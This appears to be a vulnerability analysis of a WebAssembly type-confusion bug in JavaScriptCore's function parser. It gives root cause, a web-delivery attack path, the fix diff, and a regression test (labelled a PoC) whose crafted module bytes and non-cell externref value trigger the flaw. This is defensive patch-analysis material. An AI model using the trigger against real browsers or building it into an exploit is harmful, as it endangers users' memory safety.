CVE-2026-65332
Overview
Background
- WasmFunctionParser
- JavaScriptCore’s single-pass validator/IR-builder for a WebAssembly function body (
Source/JavaScriptCore/wasm/WasmFunctionParser.h). It walks the bytecode, maintaining a typedm_expressionStackthat models the operand stack. - Structured control instruction
block/loop/if/else/try/catch. Each has a block signature declaring parameter and result types; when the construct ends, its results must appear on the stack with the declared result types.- `checkExpressionStack(controlData, shouldForceSignature)`
- validates that the values left on the expression stack at a block end match the control frame’s result signature. When
shouldForceSignatureis true, it rewrites the static types of those stack entries to the frame’s declared result types rather than leaving them as the (possibly narrower) types of the actual fallthrough values. - Subtyping (reference types)
- WebAssembly GC/reference types form a subtype lattice (e.g. a concrete struct ref is a subtype of
externref/anyref). A value whose static type is a subtype may legitimately flow where the declared supertype is expected, but the block’s declared result type is what downstream code and codegen must rely on.
Root Cause Analysis
In the end-of-block handling for if/else frames, WasmFunctionParser decided whether to coerce the result stack entries to the frame’s signature result types with const bool shouldForceSignature = ControlType::isElse(data.controlData);. That is, the parser only forced the declared signature types when the frame being closed was an else block; for every other structured control instruction it passed the live fallthrough value types through unchanged. The WebAssembly specification, however, requires the output type of any structured control instruction to be the result type from its signature even when the fallthrough value is a subtype of that result type. When the fallthrough value’s static type was a strict subtype of the declared result type, the parser propagated the subtype to the enclosing expression stack instead of the declared supertype. Downstream IR generation then reasoned about the value using that narrower subtype — e.g. assuming a reference operand is a concrete GC cell when the declared result type (externref) actually permits non-cell/boxed representations — producing a type confusion between the representation the compiler assumed and the representation the value actually had at runtime.
The patch deletes the conditional and unconditionally forces the signature: WASM_FAIL_IF_HELPER_FAILS(checkExpressionStack(data.controlData, true));. Now every block end rewrites the result stack entries to the frame’s declared result types, so the enclosing stack and all later consumers see the spec-mandated supertype rather than an incidental subtype. The accompanying regression test (JSTests/wasm/regress/try-catch-result-type.js) builds a module whose main returns through a structured construct and feeds a nonCellExternref (a float bit-pattern that is a non-cell externref); under the old code the value’s narrowed type let the engine treat it as a cell, which the test guards against.
else frames, so for every other structured control instruction a fallthrough value kept its narrower subtype — letting later compilation treat a value (e.g. a non-cell externref) as a more specific type than the block actually produced, a type confusion.Attack Path
- Delivery
Attacker serves a page that instantiates a crafted
WebAssembly.Modulewhose bytes validate but exploit the mis-typed block result (web-reachable;new WebAssembly.Instanceruns the parser). - Craft
Author a function in which a structured control instruction (e.g. a
try/catchorblockwith a reference result type) yields a fallthrough value whose static type is a strict subtype of the declared result type. - Validate
The old
WasmFunctionParseraccepts the module and records the narrower subtype on the enclosing expression stack instead of the signature result type. - Confuse
IR generation consumes the stack entry under the assumed narrower type and emits code that, for a value whose real representation differs (a non-cell
externrefboxed as a float), misinterprets the bits (e.g. treats a non-pointer as a GC cell). - Primitive (inferred) The type confusion yields a mis-typed reference value flowing into cell-expecting code; concretely observed as a crash, with memory disclosure/corruption from pointer misinterpretation inferred but not proven by the diff.
Impact Assessment
Files Changed
JSTests/wasm/regress/try-catch-result-type.jsSource/JavaScriptCore/wasm/WasmFunctionParser.h
Audit Directions
- Other result-type coercionsReview every caller of
checkExpressionStackand any place block/loop/try results are copied to the enclosingm_expressionStack, confirming the declared signature type (not the live value type) is propagated. - Subtype propagation in IR genAudit where Wasm IR generation assumes a reference operand is a concrete cell vs. a boxed/non-cell
externref, especially across control-flow merges and exception results. - `else`/`catch` asymmetryLook for other validator paths that special-case
else(or a single frame kind) when a rule should apply to all structured control, a likely source of parallel bugs.
Patch
diff --git a/Source/JavaScriptCore/wasm/WasmFunctionParser.h b/Source/JavaScriptCore/wasm/WasmFunctionParser.h
index 7289d0863ca6..a4f1264dc6cd 100644
--- a/Source/JavaScriptCore/wasm/WasmFunctionParser.h
+++ b/Source/JavaScriptCore/wasm/WasmFunctionParser.h
@@ -3718,13 +3718,12 @@ FOR_EACH_WASM_MEMORY_STORE_OP(CREATE_CASE)
WASM_TRY_ADD_TO_CONTEXT(addElse(data.controlData, m_expressionStack));
m_expressionStack = WTF::move(data.elseBlockStack);
}
- // When ending an 'if'/'else', including a synthetic 'else' added right above,
- // the spec requires the output type of 'if' to be the type from the signature.
- const bool shouldForceSignature = ControlType::isElse(data.controlData);
+ // The spec requires the output type of a structured control instruction to be
+ // the result type from its signature, even when the fallthrough value is a subtype.
// FIXME: This is a little weird in that it will modify the expressionStack for the result of the block.
// That's a little too effectful for me but I don't have a better API right now.
// see: https://bugs.webkit.org/show_bug.cgi?id=164353
- WASM_FAIL_IF_HELPER_FAILS(checkExpressionStack(data.controlData, shouldForceSignature));
+ WASM_FAIL_IF_HELPER_FAILS(checkExpressionStack(data.controlData, true));
WASM_TRY_ADD_TO_CONTEXT(endBlock(data, m_expressionStack));
m_expressionStack.swap(data.enclosedExpressionStack);
if (!ControlType::isTopLevel(data.controlData))
diff --git a/JSTests/wasm/regress/try-catch-result-type.js b/JSTests/wasm/regress/try-catch-result-type.js
new file mode 100644
index 000000000000..6d4c8a064ca4
--- /dev/null
+++ b/JSTests/wasm/regress/try-catch-result-type.js
@@ -0,0 +1,23 @@
+import * as assert from '../assert.js';
+
+const bytes = new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+ 0x01, 0x8c, 0x80, 0x80, 0x80, 0x00,
+ 0x03, 0x5e, 0x7e, 0x01, 0x60, 0x00, 0x00, 0x60, 0x01, 0x6f, 0x01, 0x7f,
+ 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x02,
+ 0x0d, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01,
+ 0x07, 0x88, 0x80, 0x80, 0x80, 0x00, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00,
+ 0x0a, 0x99, 0x80, 0x80, 0x80, 0x00, 0x01, 0x93, 0x80, 0x80, 0x80, 0x00,
+ 0x00, 0x06, 0x6e, 0x20, 0x00, 0xfb, 0x1a, 0x07, 0x00,
+ 0x41, 0x01, 0xfb, 0x07, 0x00, 0x0b, 0xfb, 0x14, 0x6a, 0x0b,
+]);
+
+const instance = new WebAssembly.Instance(new WebAssembly.Module(bytes));
+
+const storage = new ArrayBuffer(8);
+const view = new DataView(storage);
+view.setBigUint64(0, 0x4141414141414141n - (1n << 49n), true);
+const nonCellExternref = view.getFloat64(0, true);
+
+for (let i = 0; i < wasmTestLoopCount; ++i)
+ assert.eq(instance.exports.main(nonCellExternref), 0);
\ No newline at end of file
Regression Test / PoC
diff --git a/JSTests/wasm/regress/try-catch-result-type.js b/JSTests/wasm/regress/try-catch-result-type.js new file mode 100644 index 000000000000..6d4c8a064ca4 --- /dev/null +++ b/JSTests/wasm/regress/try-catch-result-type.js @@ -0,0 +1,23 @@ +import * as assert from '../assert.js'; + +const bytes = new Uint8Array([ + 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x8c, 0x80, 0x80, 0x80, 0x00, + 0x03, 0x5e, 0x7e, 0x01, 0x60, 0x00, 0x00, 0x60, 0x01, 0x6f, 0x01, 0x7f, + 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x02, + 0x0d, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, + 0x07, 0x88, 0x80, 0x80, 0x80, 0x00, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, + 0x0a, 0x99, 0x80, 0x80, 0x80, 0x00, 0x01, 0x93, 0x80, 0x80, 0x80, 0x00, + 0x00, 0x06, 0x6e, 0x20, 0x00, 0xfb, 0x1a, 0x07, 0x00, + 0x41, 0x01, 0xfb, 0x07, 0x00, 0x0b, 0xfb, 0x14, 0x6a, 0x0b, +]); + +const instance = new WebAssembly.Instance(new WebAssembly.Module(bytes)); + +const storage = new ArrayBuffer(8); +const view = new DataView(storage); +view.setBigUint64(0, 0x4141414141414141n - (1n << 49n), true); +const nonCellExternref = view.getFloat64(0, true); + +for (let i = 0; i < wasmTestLoopCount; ++i) + assert.eq(instance.exports.main(nonCellExternref), 0); \ No newline at end of file